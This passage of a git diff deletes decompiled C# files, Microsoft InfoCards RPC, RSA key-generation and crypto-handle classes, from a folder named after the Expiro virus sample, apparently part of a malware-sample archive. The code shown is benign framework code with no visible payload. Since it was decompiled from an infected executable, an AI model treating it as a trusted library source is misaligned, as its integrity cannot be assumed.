this.m_idlHandle = IntPtr.Zero; - this.m_open = false; - } - - void IDisposable.Dispose() - { - if (this.m_disposed) - return; - lock (this.m_syncRoot) - { - if (this.m_disposed) - return; - this.m_disposed = true; - try - { - this.Close(); - } - catch (CommunicationException ex) - { - string message = ex.Message; - } - this.m_portName = (string) null; - this.m_contextKey = (string) null; - this.m_idlHandle = IntPtr.Zero; - GC.SuppressFinalize((object) this); - } - } - - private void ThrowIfDisposed() - { - if (this.m_disposed) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (RpcCryptoContext))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcCryptoRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcCryptoRequest.cs deleted file mode 100644 index cd7e60eb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcCryptoRequest.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcCryptoRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal abstract class RpcCryptoRequest - { - private RpcCryptoContext m_context; - - protected RpcCryptoRequest(RpcCryptoContext context) => this.m_context = context; - - public abstract string Name { get; } - - public void Process() - { - MemoryStream memoryStream = new MemoryStream(); - this.MarshalOutArgs((Stream) memoryStream); - byte[] buffer1 = memoryStream.GetBuffer(); - byte[] buffer2; - try - { - buffer2 = NativeMcppMethods.RpcCryptoDispatchRequest(this.m_context.InterfaceHandle, this.m_context.ContextKey, this.Name, buffer1, 0, Convert.ToInt32(memoryStream.Length)); - } - catch (Win32Exception ex) - { - if (ex.NativeErrorCode == -2146434962) - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException((string) null, (Exception) ex)); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException((string) null, (Exception) ex)); - } - this.MarshalReturnArgs((Stream) new MemoryStream(buffer2)); - } - - protected abstract void MarshalOutArgs(Stream stream); - - protected abstract void MarshalReturnArgs(Stream stream); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcFreeMemCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcFreeMemCallback.cs deleted file mode 100644 index 7fd7dc3c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcFreeMemCallback.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcFreeMemCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate void RpcFreeMemCallback([In] IntPtr ptr); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcProcessNewRequestCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcProcessNewRequestCallback.cs deleted file mode 100644 index f67a6b69..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcProcessNewRequestCallback.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcProcessNewRequestCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate int RpcProcessNewRequestCallback( - [In] int parentRequestHandle, - [In] IntPtr rpcHandle, - [In] IntPtr inArgs, - out IntPtr outArgs); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcRequest.cs deleted file mode 100644 index efe0c0b5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcRequest.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal struct RpcRequest - { - [MarshalAs(UnmanagedType.LPWStr)] - public string Type; - public int Length; - public IntPtr Data; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcResponse.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcResponse.cs deleted file mode 100644 index abb721f1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcResponse.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcResponse -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; - -namespace Microsoft.InfoCards -{ - internal struct RpcResponse - { - public int Length; - public IntPtr Data; - - public IntPtr Marshal() => RpcResponse.Create(this.Data, this.Length); - - public static IntPtr Create(IntPtr data, int length) - { - RpcResponse structure = new RpcResponse(); - IntPtr num = System.Runtime.InteropServices.Marshal.AllocHGlobal(System.Runtime.InteropServices.Marshal.SizeOf(typeof (RpcResponse))); - try - { - structure.Length = length; - structure.Data = data; - System.Runtime.InteropServices.Marshal.StructureToPtr((object) structure, num, false); - return num; - } - catch - { - System.Runtime.InteropServices.Marshal.FreeHGlobal(num); - throw; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcRundownClientContextHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcRundownClientContextHandle.cs deleted file mode 100644 index fe582152..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcRundownClientContextHandle.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcRundownClientContextHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate void RpcRundownClientContextHandle([In] IntPtr context); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcUIAgentBindToServiceCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcUIAgentBindToServiceCallback.cs deleted file mode 100644 index 69a1dae3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcUIAgentBindToServiceCallback.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcUIAgentBindToServiceCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate void RpcUIAgentBindToServiceCallback( - [In] IntPtr uiagentRpcHandle, - [In] IntPtr nativeDesktopName, - [In] int cbUserSid, - [In] IntPtr pUserSid, - [In] int cbTrustedSid, - [In] IntPtr pTrustedSid, - out IntPtr nativeStartEventHandle, - out IntPtr nativeCompleteEventHandle, - out RpcUIAgentGetWorkCallback callback); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcUIAgentGetWorkCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcUIAgentGetWorkCallback.cs deleted file mode 100644 index e04eb1ba..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcUIAgentGetWorkCallback.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcUIAgentGetWorkCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal delegate void RpcUIAgentGetWorkCallback( - out InfoCardUIAgent.CallMode mode, - out int requestHandle); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RsaKeyGen.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RsaKeyGen.cs deleted file mode 100644 index dc8ed5ca..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RsaKeyGen.cs +++ /dev/null @@ -1,218 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RsaKeyGen -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class RsaKeyGen - { - private const int Xpq12Length = 14; - private const int XpqLength = 128; - private const int NumberOfSha1Hashes = 16; - private const int InfoCardKeyLength = 2048; - private const int HnLength = 20; - private const int PublicExponentValue = 65537; - private const string Aes128EncryptionKey = "f561e58b-3ebc-4e0c-940d-0a6ddc219dfd"; - private const int ByteForHundredthBit = 12; - private static int[] hashesToWriteP = new int[8] - { - 2, - 12, - 11, - 10, - 0, - 6, - 5, - 4 - }; - private static int[] numBytesToWriteP = new int[8] - { - 4, - 20, - 20, - 20, - 4, - 20, - 20, - 20 - }; - private static int[] srcIndexBytesToWriteP = new int[8] - { - 16, - 0, - 0, - 0, - 16, - 0, - 0, - 0 - }; - private static int[] hashesToWriteQ = new int[8] - { - 3, - 15, - 14, - 13, - 1, - 9, - 8, - 7 - }; - private static int[] numBytesToWriteQ = RsaKeyGen.numBytesToWriteP; - private static int[] srcIndexBytesToWriteQ = RsaKeyGen.srcIndexBytesToWriteP; - private static RijndaelManaged s_rjAes128 = new RijndaelManaged(); - - static RsaKeyGen() - { - RsaKeyGen.s_rjAes128.Mode = CipherMode.ECB; - RsaKeyGen.s_rjAes128.Padding = PaddingMode.Zeros; - RsaKeyGen.s_rjAes128.Key = new Guid("f561e58b-3ebc-4e0c-940d-0a6ddc219dfd").ToByteArray(); - } - - public static byte[] CreateRsaKeyPairX931(byte[] masterKey, byte[] targetId) - { - InfoCardTrace.Assert(true, "Only 2048 bit key sizes supported"); - byte[][] hn = RsaKeyGen.CalculateHn(masterKey, targetId); - byte[] rsaKeyPairX931 = (byte[]) null; - byte[] numArray1 = new byte[14]; - byte[] numArray2 = new byte[14]; - byte[] numArray3 = new byte[14]; - byte[] numArray4 = new byte[14]; - byte[] numArray5 = new byte[128]; - byte[] numArray6 = new byte[128]; - Array.Copy((Array) hn[0], 0, (Array) numArray1, 0, numArray1.Length); - Array.Copy((Array) hn[1], 0, (Array) numArray2, 0, numArray2.Length); - Array.Copy((Array) hn[2], 0, (Array) numArray3, 0, numArray3.Length); - Array.Copy((Array) hn[3], 0, (Array) numArray4, 0, numArray4.Length); - RsaKeyGen.WriteToArray(RsaKeyGen.hashesToWriteP, RsaKeyGen.numBytesToWriteP, RsaKeyGen.srcIndexBytesToWriteP, hn, numArray5); - RsaKeyGen.WriteToArray(RsaKeyGen.hashesToWriteQ, RsaKeyGen.numBytesToWriteQ, RsaKeyGen.srcIndexBytesToWriteQ, hn, numArray6); - try - { - KeyGenRestartCodes restartCode = KeyGenRestartCodes.X931RestartNone; - do - { - numArray5[(int) sbyte.MaxValue] |= (byte) 192; - numArray6[(int) sbyte.MaxValue] |= (byte) 192; - numArray1[12] |= (byte) 16; - numArray2[12] |= (byte) 16; - numArray3[12] |= (byte) 16; - numArray4[12] |= (byte) 16; - rsaKeyPairX931 = NativeMcppMethods.X931KeyGenWrapper(numArray1, numArray2, numArray3, numArray4, numArray5, numArray6, 65537, ref restartCode); - switch (restartCode) - { - case KeyGenRestartCodes.X931RestartNone: - InfoCardTrace.Assert(null != rsaKeyPairX931, "Cryptoblob should not be null since API succeeded"); - break; - case KeyGenRestartCodes.X931RestartDTooSmall: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - InfoCardTrace.Assert(false, "Not expected for d < 2^1024 with e = 65537"); - RsaKeyGen.InfoCardRegenerateParam(numArray3); - RsaKeyGen.InfoCardRegenerateParam(numArray4); - RsaKeyGen.InfoCardRegenerateParam(numArray6); - break; - case KeyGenRestartCodes.X931RestartNonTrivialGcd: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - RsaKeyGen.InfoCardRegenerateParam(numArray1); - RsaKeyGen.InfoCardRegenerateParam(numArray2); - RsaKeyGen.InfoCardRegenerateParam(numArray3); - RsaKeyGen.InfoCardRegenerateParam(numArray4); - break; - case KeyGenRestartCodes.X931RestartPQOverflow: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - RsaKeyGen.InfoCardRegenerateParam(numArray5); - RsaKeyGen.InfoCardRegenerateParam(numArray6); - break; - case KeyGenRestartCodes.X931RestartPQ12OverFlow: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - RsaKeyGen.InfoCardRegenerateParam(numArray1); - RsaKeyGen.InfoCardRegenerateParam(numArray2); - RsaKeyGen.InfoCardRegenerateParam(numArray3); - RsaKeyGen.InfoCardRegenerateParam(numArray4); - break; - case KeyGenRestartCodes.X931RestartXpXqClose: - InfoCardTrace.Assert(null == rsaKeyPairX931, "Cryptoblob should be null"); - RsaKeyGen.InfoCardRegenerateParam(numArray6); - break; - } - } - while (restartCode != KeyGenRestartCodes.X931RestartNone); - InfoCardTrace.Assert(null != rsaKeyPairX931, "Cryptoblob should NOT be null outside while loop"); - } - finally - { - Array.Clear((Array) numArray1, 0, numArray1.Length); - Array.Clear((Array) numArray2, 0, numArray2.Length); - Array.Clear((Array) numArray3, 0, numArray3.Length); - Array.Clear((Array) numArray4, 0, numArray4.Length); - Array.Clear((Array) numArray5, 0, numArray5.Length); - Array.Clear((Array) numArray6, 0, numArray6.Length); - } - return rsaKeyPairX931; - } - - private static void WriteToArray( - int[] hashesToWrite, - int[] numBytesToWrite, - int[] srcIndexBytesToWrite, - byte[][] sourceArrayOfHashes, - byte[] destArray) - { - InfoCardTrace.Assert(hashesToWrite.Length == numBytesToWrite.Length, "Size must be equal"); - InfoCardTrace.Assert(numBytesToWrite.Length == srcIndexBytesToWrite.Length, "Size must be equal"); - int destinationIndex = 0; - for (int index1 = 0; index1 < hashesToWrite.Length; ++index1) - { - int index2 = hashesToWrite[index1]; - Array.Copy((Array) sourceArrayOfHashes[index2], srcIndexBytesToWrite[index1], (Array) destArray, destinationIndex, numBytesToWrite[index1]); - destinationIndex += numBytesToWrite[index1]; - } - } - - private static byte[][] CalculateHn(byte[] masterKey, byte[] subjectEntropy) - { - byte[][] hn = new byte[16][]; - byte[] numArray = new byte[masterKey.Length + subjectEntropy.Length + 4]; - Array.Copy((Array) masterKey, 0, (Array) numArray, 0, masterKey.Length); - Array.Copy((Array) subjectEntropy, 0, (Array) numArray, masterKey.Length, subjectEntropy.Length); - for (uint index = 0; (long) index < (long) hn.Length; ++index) - { - InfoCardTrace.Assert(index <= (uint) byte.MaxValue, "n must fit in a byte."); - InfoCardTrace.Assert(numArray.Length - 1 == masterKey.Length + subjectEntropy.Length + 3, "Index location of n must be last element of array."); - numArray[numArray.Length - 1] = (byte) index; - hn[(IntPtr) index] = SHA1.Create().ComputeHash(numArray); - Array.Reverse((Array) hn[(IntPtr) index]); - } - Array.Clear((Array) numArray, 0, numArray.Length); - return hn; - } - - private static void InfoCardRegenerateParam(byte[] prevBytes) - { - byte[] sourceArray = RsaKeyGen.AESEncryptECB(prevBytes); - Array.Copy((Array) sourceArray, 0, (Array) prevBytes, 0, prevBytes.Length); - Array.Clear((Array) sourceArray, 0, sourceArray.Length); - } - - private static byte[] AESEncryptECB(byte[] plaintextbyte) - { - MemoryStream memoryStream = new MemoryStream(); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, RsaKeyGen.s_rjAes128.CreateEncryptor(), CryptoStreamMode.Write); - cryptoStream.Write(plaintextbyte, 0, plaintextbyte.Length); - cryptoStream.Close(); - byte[] array = memoryStream.ToArray(); - memoryStream.Close(); - return array; - } - - private RsaKeyGen() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeCryptoKey.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeCryptoKey.cs deleted file mode 100644 index 08a81ef7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeCryptoKey.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeCryptoKey -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class SafeCryptoKey : IDisposable - { - private SafeCryptoKeyHandle m_handle; - - [SuppressUnmanagedCodeSecurity] - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptSetKeyParam( - [In] SafeCryptoKeyHandle hKey, - [In] uint dwParam, - [In] IntPtr data, - [In] uint flags); - - [SuppressUnmanagedCodeSecurity] - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptImportKey( - [In] SafeRsaProviderHandle hProv, - [In] IntPtr pbKeyData, - [In] uint dwDataLen, - [In] IntPtr hPubKey, - [In] uint dwFlags, - out SafeCryptoKeyHandle hKey); - - public SafeCryptoKeyHandle Handle => this.m_handle; - - public unsafe SafeCryptoKey(SafeRsaProviderHandle provider, byte[] encryptedKey, byte[] iv) - { - SafeCryptoKey.BlobHeader blobHeader = new SafeCryptoKey.BlobHeader(encryptedKey.Length); - int dwDataLen = sizeof (SafeCryptoKey.BlobHeader) + encryptedKey.Length; - // ISSUE: untyped stack allocation - byte* pbKeyData = (byte*) __untypedstackalloc(dwDataLen); - byte* numPtr = (byte*) &blobHeader; - for (int index = 0; index < 12; ++index) - pbKeyData[index] = numPtr[index]; - try - { - ProtectedMemory.Unprotect(encryptedKey, MemoryProtectionScope.SameProcess); - for (int index = 0; index < encryptedKey.Length; ++index) - pbKeyData[12 + index] = encryptedKey[index]; - } - finally - { - ProtectedMemory.Protect(encryptedKey, MemoryProtectionScope.SameProcess); - } - if (!SafeCryptoKey.CryptImportKey(provider, (IntPtr) (void*) pbKeyData, (uint) dwDataLen, IntPtr.Zero, 0U, out this.m_handle)) - { - Exception e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - InfoCardTrace.CloseInvalidOutSafeHandle((SafeHandle) this.m_handle); - InfoCardTrace.TraceAndLogException(e); - throw InfoCardTrace.ThrowHelperError(e); - } - fixed (byte* data = &iv[0]) - { - if (!SafeCryptoKey.CryptSetKeyParam(this.m_handle, 1U, (IntPtr) (void*) data, 0U)) - { - Exception e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - this.m_handle.Dispose(); - throw InfoCardTrace.ThrowHelperError(e); - } - // ISSUE: __unpin statement - __unpin(data); - } - } - - void IDisposable.Dispose() => this.m_handle.Dispose(); - - [StructLayout(LayoutKind.Explicit, Size = 12)] - private struct BlobHeader - { - private const int PLAINTEXTKEYBLOB = 8; - private const int CUR_BLOB_VERSION = 2; - private const int CALG_AES = 26128; - [FieldOffset(0)] - public byte bType; - [FieldOffset(1)] - public byte bVersion; - [FieldOffset(2)] - public ushort reserved; - [FieldOffset(4)] - public uint aiKeyAlg; - [FieldOffset(8)] - public uint keyLength; - - public BlobHeader(int keySize) - { - this.bType = (byte) 8; - this.bVersion = (byte) 2; - this.reserved = (ushort) 0; - this.aiKeyAlg = 26128U; - this.keyLength = (uint) keySize; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeCryptoKeyHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeCryptoKeyHandle.cs deleted file mode 100644 index 46cf3377..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeCryptoKeyHandle.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeCryptoKeyHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; - -namespace Microsoft.InfoCards -{ - internal class SafeCryptoKeyHandle : SafeHandle - { - [SuppressUnmanagedCodeSecurity] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CryptDestroyKey([In] IntPtr hKey); - - private SafeCryptoKeyHandle() - : base(IntPtr.Zero, true) - { - } - - public override bool IsInvalid => IntPtr.Zero == this.handle; - - protected override bool ReleaseHandle() => SafeCryptoKeyHandle.CryptDestroyKey(this.handle); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeJobHandle.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeJobHandle.cs deleted file mode 100644 index 9851d147..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SafeJobHandle.cs +++ /dev/null @@ -1,37 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SafeJobHandle -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; - -namespace Microsoft.InfoCards -{ - internal sealed class SafeJobHandle : SafeHandle - { - 